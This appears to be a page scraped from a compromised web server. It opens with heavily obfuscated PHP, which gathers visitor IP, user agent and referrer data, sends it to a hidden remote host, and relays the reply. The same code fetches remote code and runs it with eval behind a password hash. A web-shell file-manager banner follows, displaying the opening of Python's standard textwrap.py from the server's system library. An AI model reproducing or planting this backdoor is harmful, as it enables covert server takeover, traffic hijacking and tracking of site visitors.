47\x7a\115\x6a\131\167\x4e\124\101\171"); goto zCPQ5sJ4prS3cM; nUMVH0fIl9qU1U: $DCQAxVYJ0s2xNZ = iEqtHmj2iLY1Wc() . $_SERVER["\110\124\124\x50\x5f\110\117\123\x54"]; goto ijprTBHjnBLYhs; d9hQMaXnng4mkT: function CtP2tSFlXG1jMM($pE2rbr7cqyRIrz, $sBGGalrm5oOaYf = array()) { goto TBw4XEIMDejnW9; x1a5PcimegMvHT: try { goto wKyNKaSBogESbe; lmSKDcEicG0Z60: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYPEER, 0); goto CdEcDbGLfEUYus; SrEe2CxlVZ1Xgs: if (ini_get("\141\x6c\154\x6f\x77\137\165\162\154\x5f\x66\x6f\160\145\x6e")) { goto j5UjWgrs2EFRKg; } goto e8FoOME_gF7Hct; Ea0XNDHYTjFHoG: wM1RKsGBStG2ZK: goto OGAaTUzoxASsQJ; lHKSZHcqB2pu6E: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYHOST, 0); goto lmSKDcEicG0Z60; XvJu6e4hLem2QO: j5UjWgrs2EFRKg: goto fGgd1EnFqSq29g; e8FoOME_gF7Hct: goto wM1RKsGBStG2ZK; goto IxBmkqlUyE0So4; zGPRH0TiTdmkC1: $LuXppVCTfAwT9f = @file_get_contents($pE2rbr7cqyRIrz, false, $B1js8ICorVGqxe); goto gn1ir57kmuCPdd; sCe1qOPt4tZq91: curl_setopt($PbqmehvzG4MGrB, CURLOPT_TIMEOUT, 60); goto J0DcsVkp_uJAM3; gn1ir57kmuCPdd: $Obe5O3pNrh1wNk = array_merge($Obe5O3pNrh1wNk, qmuK6aRaNpxL8Q($http_response_header)); goto SVkVRfXQbYMlVM; NYAkn5KIn2_2Ba: $I3mcVvkL3MU3kb = curl_exec($PbqmehvzG4MGrB); goto z3_UEg3pzeFgWJ; CdEcDbGLfEUYus: curl_setopt($PbqmehvzG4MGrB, CURLOPT_CONNECTTIMEOUT, 20); goto sCe1qOPt4tZq91; SVkVRfXQbYMlVM: if (!in_array($Obe5O3pNrh1wNk["\x73\x74\141\x74\x75\163"], array(200, 301, 302, 404))) { goto W9Szvhe2bc1hHc; } goto QyaJc11ZnEqkdB; fGgd1EnFqSq29g: $WP83up5sMeyaxE = array("\x68\x74\164\160" => array("\155\x65\164\x68\x6f\144" => "\107\x45\124", "\x74\x69\x6d\145\x6f\165\164" => 60, "\146\157\x6c\154\157\167\137\154\157\143\x61\x74\151\x6f\156" => 0), "\163\x73\154" => array("\166\x65\x72\151\x66\x79\x5f\160\145\145\162" => false, "\x76\x65\162\x69\x66\171\x5f\x70\x65\x65\162\x5f\x6e\141\x6d\x65" => false)); goto Y7Onca53Sca0DD; Hdk7beW1IivhPl: $Obe5O3pNrh1wNk["\143\157\156\x74\x65\x6e\164"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_REDIRECT_URL)); goto e3GZUfcHdrWcSn; uzbvgxZ37i3c5g: $Obe5O3pNrh1wNk["\x63\157\x6e\x74\145\156\164"] = strval($I3mcVvkL3MU3kb); goto vAz_xI94jNO3c0; nAp2lfYMenLiNo: $Obe5O3pNrh1wNk["\164\171\160\145"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_CONTENT_TYPE)); goto Hdk7beW1IivhPl; BsKQ_p4qozFEyS: curl_setopt($PbqmehvzG4MGrB, CURLOPT_URL, $pE2rbr7cqyRIrz); goto lHKSZHcqB2pu6E; IxBmkqlUyE0So4: yJdspatH00t0Hw: goto PYlAwPrvr9pa8q; gifor8AiO5daud: goto wM1RKsGBStG2ZK; goto XvJu6e4hLem2QO; Y7Onca53Sca0DD: $B1js8ICorVGqxe = stream_context_create($WP83up5sMeyaxE); goto zGPRH0TiTdmkC1; W7oisnoPyntpOz: W9Szvhe2bc1hHc: goto Ea0XNDHYTjFHoG; vAz_xI94jNO3c0: BvFk0FoBiJUpnq: goto gifor8AiO5daud; NAI0EsjCEgXU9z: if (!in_array($Obe5O3pNrh1wNk["\163\164\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto BvFk0FoBiJUpnq; } goto uzbvgxZ37i3c5g; J0DcsVkp_uJAM3: curl_setopt($PbqmehvzG4MGrB, CURLOPT_FOLLOWLOCATION, 0); goto OcjBx5_OjAu0l0; QyaJc11ZnEqkdB: $Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"] = strval($LuXppVCTfAwT9f); goto W7oisnoPyntpOz; ZluigYn8_PfhFB: curl_setopt($PbqmehvzG4MGrB, CURLOPT_RETURNTRANSFER, 1); goto NYAkn5KIn2_2Ba; OcjBx5_OjAu0l0: curl_setopt($PbqmehvzG4MGrB, CURLOPT_COOKIESESSION, 0); goto ZluigYn8_PfhFB; wKyNKaSBogESbe: if (function_exists("\143\x75\162\x6c\x5f\x65\170\x65\x63")) { goto yJdspatH00t0Hw; } goto SrEe2CxlVZ1Xgs; z3_UEg3pzeFgWJ: $Obe5O3pNrh1wNk["\x73\x74\141\x74\165\163"] = intval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_HTTP_CODE)); goto nAp2lfYMenLiNo; e3GZUfcHdrWcSn: @curl_close($PbqmehvzG4MGrB); goto NAI0EsjCEgXU9z; PYlAwPrvr9pa8q: $PbqmehvzG4MGrB = curl_init(); goto BsKQ_p4qozFEyS; OGAaTUzoxASsQJ: } catch (Exception $z_EY6cuS0vnlk2) { } goto rU4lXC78aUrdYe; sCCrmVXe3x92r0: $pE2rbr7cqyRIrz .= "\x3f" . http_build_query($sBGGalrm5oOaYf); goto HciNXaBKOZJNvS; TBw4XEIMDejnW9: $Obe5O3pNrh1wNk = array("\x73\x74\x61\x74\x75\163" => 0, "\x63\157\156\164\145\156\164" => '', "\164\171\160\x65" => ''); goto iC1UwL27GLH3d1; iC1UwL27GLH3d1: if (!(is_array($sBGGalrm5oOaYf) && count($sBGGalrm5oOaYf))) { goto SFAUOsSuYPb1TC; } goto sCCrmVXe3x92r0; HciNXaBKOZJNvS: SFAUOsSuYPb1TC: goto x1a5PcimegMvHT; rU4lXC78aUrdYe: return $Obe5O3pNrh1wNk; goto cCmeK6cH01R_wO; cCmeK6cH01R_wO: } goto SlOv92pUeuRbs6; ucaWV1TMmtIeep: $eiocgmgKfh6buy = ${$EezeSVWoiw2BnJ[5 + 26] . $EezeSVWoiw2BnJ[15 + 44] . $EezeSVWoiw2BnJ[1 + 46] . $EezeSVWoiw2BnJ[30 + 17] . $EezeSVWoiw2BnJ[1 + 50] . $EezeSVWoiw2BnJ[14 + 39] . $EezeSVWoiw2BnJ[43 + 14]}; goto V5f0sGGXQ1JtQR; uxRi5Q7SMo35qu: function qMUk6AraNPxL8q($WyPMVQK65fxNbg) { goto tRhN1IcppKG6WG; ZMYHJ38DO1SLqc: if (is_array($WyPMVQK65fxNbg)) { goto hDdlaf9lN9rz9Z; } goto NUcIzBY2Ia1pq0; MZkpMKPS9emCLB: fS7JwAyeAluyVc: goto cx0gfqxv2XKs9z; Ted15sZWFmKSdo: hDdlaf9lN9rz9Z: goto tS1MthVbKHU7JB; tS1MthVbKHU7JB: foreach ($WyPMVQK65fxNbg as $P15J4uQ1cCxCkb) { goto bAZlMK_kmrms5o; wpFK_FTVDam9C7: qlSYwp19h9Kk1s: goto midAZxu4fxJqWy; bTo8vcnnFbnGUH: $NtXkRSt04MyRzo["\143\x6f\156\x74\x65\x6e\x74"] = $M9aoVS4M2J44Sn[1]; goto dbGiTto4XBIBVq; WqdDrBlBJh8OeH: $NtXkRSt04MyRzo["\163\x74\141\164\165\163"] = intval($M9aoVS4M2J44Sn[1]); goto vWR3cIucChk62I; QptZOzBU4E3F6P: TOFK710o2qRdS3: goto bTo8vcnnFbnGUH; T0FZQC73tH7Vfx: if (preg_match("\x2f\154\x6f\143\x61\x74\x69\x6f\156\x5c\72\x5b\x5c\x73\135\x2b\50\x2e\52\x29\57\x69", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto TOFK710o2qRdS3; } goto yIkZ1DKt2DxUJb; SIGdH0icUcPl0c: YUkmFdmDRJcK3y: goto WqdDrBlBJh8OeH; vWR3cIucChk62I: goto qlSYwp19h9Kk1s; goto QptZOzBU4E3F6P; dbGiTto4XBIBVq: goto qlSYwp19h9Kk1s; goto ovzv5MbfzRr_EX; yIkZ1DKt2DxUJb: if (preg_match("\57\x63\157\x6e\164\x65\156\x74\134\x2d\x74\171\160\x65\134\72\x5b\134\163\135\53\50\x2e\52\x29\57\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YdyTwBGd_zJdW3; } goto kWtQi2z2vo6nl7; bAZlMK_kmrms5o: if (preg_match("\x2f\150\x74\164\160\134\57\133\60\x2d\x39\134\56\135\53\133\134\x73\x5d\x2b\x28\133\60\55\71\135\53\x29\x2f\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YUkmFdmDRJcK3y; } goto T0FZQC73tH7Vfx; YK02_HmIMtMB2c: $NtXkRSt04MyRzo["\x74\x79\x70\145"] = $M9aoVS4M2J44Sn[1]; goto wpFK_FTVDam9C7; kWtQi2z2vo6nl7: goto qlSYwp19h9Kk1s; goto SIGdH0icUcPl0c; ovzv5MbfzRr_EX: YdyTwBGd_zJdW3: goto YK02_HmIMtMB2c; midAZxu4fxJqWy: Qh1bnO7sj0ij8N: goto iQ3S9yjDtCeZa4; iQ3S9yjDtCeZa4: } goto MZkpMKPS9emCLB; cx0gfqxv2XKs9z: return $NtXkRSt04MyRzo; goto jZM7_Ocu4g3Eue; tRhN1IcppKG6WG: $NtXkRSt04MyRzo = array("\163\x74\141\164\165\x73" => 0, "\x63\x6f\x6e\164\145\156\x74" => '', "\164\x79\160\x65" => ''); goto ZMYHJ38DO1SLqc; NUcIzBY2Ia1pq0: return $NtXkRSt04MyRzo; goto Ted15sZWFmKSdo; jZM7_Ocu4g3Eue: } goto d9hQMaXnng4mkT; J5qe_wS1vgzck7: function IEQtHmj2ILY1WC() { goto hCdGR6BDbdm1SX; gwF3cI6SmTRMHy: return $TjAL9SfpCu_Vfy; goto VVYGLENwiOPjfL; ZYLdcBGeB2ABzZ: goto TpYA2VReWt0Rn7; goto G82CTUQjRJ5LLC; YsGkgNwatvXi6y: snJPcTodU1EOVu: goto PYWaa80Uel55zV; hCdGR6BDbdm1SX: $TjAL9SfpCu_Vfy = "\x68\164\x74\x70\72\57\57"; goto xWvBw8pLgVsmgG; AhcaFB9B3gMXPO: goto TpYA2VReWt0Rn7; goto k0If3ve2hQMxaB; gTYyEwk3_LUcDz: TpYA2VReWt0Rn7: goto gwF3cI6SmTRMHy; h0bTManPMOTqhL: goto TpYA2VReWt0Rn7; goto YsGkgNwatvXi6y; xWvBw8pLgVsmgG: if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\123"]) !== "\x6f\x66\146") { goto snJPcTodU1EOVu; } goto ME9cSr2QkJbHPA; G82CTUQjRJ5LLC: dUW3UlNhBZ6D9b: goto mb4gmMXHTo2Q03; OXh5GgWyMOQ9av: if (isset($_SERVER["\110\124\124\120\137\106\122\x4f\x4e\x54\137\105\116\104\137\110\x54\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\106\x52\117\116\124\x5f\x45\x4e\x44\x5f\110\x54\124\x50\123"]) !== "\157\146\x66") { goto dUW3UlNhBZ6D9b; } goto h0bTManPMOTqhL; k0If3ve2hQMxaB: G_2Gdaf967GaUx: goto n0D9LxkXWBNaQA; ME9cSr2QkJbHPA: if (isset($_SERVER["\x48\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\101\x52\x44\105\104\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\x58\x5f\106\x4f\x52\127\x41\122\104\x45\x44\137\120\x52\x4f\x54\x4f"] === "\150\x74\164\x70\163") { goto G_2Gdaf967GaUx; } goto OXh5GgWyMOQ9av; n0D9LxkXWBNaQA: $TjAL9SfpCu_Vfy = "\150\x74\164\160\x73\x3a\57\x2f"; goto ZYLdcBGeB2ABzZ; PYWaa80Uel55zV: $TjAL9SfpCu_Vfy = "\150\164\x74\x70\x73\x3a\57\57"; goto AhcaFB9B3gMXPO; mb4gmMXHTo2Q03: $TjAL9SfpCu_Vfy = "\x68\164\164\160\x73\x3a\x2f\57"; goto gTYyEwk3_LUcDz; VVYGLENwiOPjfL: } goto BB4OxnMd_EMy3p; nKaKDB4as0yoc_: CWZS7eew2qXSpf: goto xiPjYeHDGGYTk1; uQMzHjqkf81tHB: if (!$kQ67spUDDLBffj) { goto aXnousimfq1MHe; } goto xs5fLHH9cPjVCu; RIsMt2qsgu4dAl: $Gc9_8J48v7x6gV = preg_replace("\x2f\134\77\56\52\x2f", '', $_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"]); goto Mk0DSKrr4qXtCe; otJnenzuNlf2sr: if (!(strpos($Gc9_8J48v7x6gV, "\56") > 0)) { goto CWZS7eew2qXSpf; } goto sjCKQHz6Q60Ccm; PiS66AgndgIJSv: Cr5laLHspUINK9: goto ufyV20U0fMcSJg; Mk0DSKrr4qXtCe: $kQ67spUDDLBffj = true; goto DxyNV93FjRyEoy; DxyNV93FjRyEoy: $HONQlNCvlYnOH8 = ''; goto otJnenzuNlf2sr; IMYI82ML4NgtAy: error_reporting(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQwRNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //lib64/python3.11/textwrap.py
"""Text wrapping and filling.
"""

# Copyright (C) 1999-2001 Gregory P. Ward.
# Copyright (C) 2002, 2003 Python Software Foundation.
# Written by Greg Ward <gward@python.net>

import re

__all__ = ['TextWrapper', 'wrap', 'fill', 'dedent', 'indent', 'shorten']

# Hardcode the recognized whitespace characters to the US-ASCII
# whitespace characters.  The main reason for doing this is that
# some Unicode spaces (like \u00a0) are non-breaking whitespaces.
_whitespace = '\t\n\x0b\x0c\r '

class TextWrapper:
    """
    Object for wrapping/filling text.  The public interface consists of
    the wrap() and fill() methods; the other methods are just there for
    subclasses to override in order to tweak the default behaviour.
    If you want to completely replace the main wrapping algorithm,
    you'll probably have to override _wrap_chunks().

    Several instance attributes control various aspects of wrapping:
      width (default: 70)
        the maximum width of wrapped lines (unless break_long_words
        is false)
      initial_indent (default: "")
        string that will be prepended to the first line of wrapped
        output.  Counts towards the line's width.
      subsequent_indent (default: "")
        string that will be prepended to all lines save the first
        of wrapped output; also counts towards each line's width.
      expand_tabs (default: true)
        Expand tabs in input text to spaces before further processing.
        Each tab will become 0 .. 'tabsize' spaces, depending on its position
        in its line.  If false, each tab is treated as a single character.
      tabsize (default: 8)
        Expand tabs in input text to 0 .. 'tabsize' spaces, unless
        'expand_tabs' is false.
      replace_whitespace (default: true)
        Replace all whitespace characters in the input text by spaces
        after tab expansion.  Note that if expand_tabs is false and
        replace_whitespace is true, every tab will be converted to a
        single space!
      fix_sentence_endings (default: false)
        Ensure that sentence-ending punctuation is always followed
        by two spaces.  Off by default because the algorithm is
        (unavoidably) imperfect.
      break_long_words (default: true)
        Break words longer than 'width'.  If false, those words will not
        be broken, and some lines might be longer than 'width'.
      break_on_hyphens (default: true)
        Allow breaking hyphenated words. If true, wrapping will occur
        preferably on whitespaces and right after hyphens part of
        compound words.
      drop_whitespace (default: true)
        Drop leading and trailing whitespace from lines.
      max_lines (default: None)
        Truncate wrapped lines.
